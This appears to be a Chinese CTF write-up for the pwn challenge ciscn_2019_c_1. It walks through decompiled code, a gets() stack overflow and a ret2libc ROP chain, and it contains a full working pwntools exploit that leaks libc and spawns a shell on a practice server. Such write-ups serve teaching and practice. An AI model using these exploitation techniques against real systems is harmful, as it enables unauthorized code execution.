ciscn_2019_c_1 题解

main函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF

init(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}

交互界面:
image.png

可以看出让我们选择 加密、解密、退出
我们在ida里分析这三个函数,发现Encrypt函数里有溢出点
Encrypt函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]

memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}

可以看到,如果v0 >= strlen(s),这个函数就会对我们输入的字符串进行一系列的异或操作,进而破坏字符串,我们可以在字符串前面加\0来绕过strlen()的检测。

关键的来了,我们需要用寄存器进行传参
image.png

得到pop_rdi的地址为0x400c83
于是我们可以构造:

1
2
3
4
5
payload = b'\0'+b'a'*(offset-1)#\0绕过strlen检测
payload=payload+p64(pop_rdi)#设置寄存器
payload=payload+p64(puts_got)#将puts函数传给寄存器
payload=payload+p64(puts_plt)#执行puts函数
payload=payload+p64(main)#返回main函数

然后我们就可以获取puts函数的真实地址了
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,b'\0'))
然后我们利用真实puts地址减libc puts地址得到偏移
libc = LibcSearcher('puts',puts_addr)
根据得到的偏移,我们就可以计算出字符串/bin/sh的真实地址和system()函数的真实地址了
然后我们就可以利用retpop_rdi构造ROP链,并利用主函数的begin()机制进入下一次get进行栈溢出

完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import*
from LibcSearcher import*

r=remote('node4.buuoj.cn',26199)
elf=ELF('/home/miyu/Desktop/ciscn_2019_c_1')

main = 0x400B28
pop_rdi = 0x400c83
ret = 0x4006b9

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

r.sendlineafter('Input your choice!\n','1')
offset = 0x50+8
payload = b'\0'+b'a'*(offset-1)
payload=payload+p64(pop_rdi)
payload=payload+p64(puts_got)
payload=payload+p64(puts_plt)
payload=payload+p64(main)
r.sendlineafter('Input your Plaintext to be encrypted\n',payload)
r.recvline()
r.recvline()
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
Offset = puts_addr - libc.dump('puts')
binsh = Offset+libc.dump('str_bin_sh')
system = Offset+libc.dump('system')
r.sendlineafter('Input your choice!\n','1')
payload = b'\0'+b'a'*(offset-1)
payload=payload+p64(ret)
payload=payload+p64(pop_rdi)
payload=payload+p64(binsh)
payload=payload+p64(system)
r.sendlineafter('Input your Plaintext to be encrypted\n',payload)

r.interactive()

注意:64bit的ROP构造为ret+pop_rdi+binsh+system

libc版本我们选择第一个libc6_2.27-0ubuntu2_amd64
成功得到flag

image.png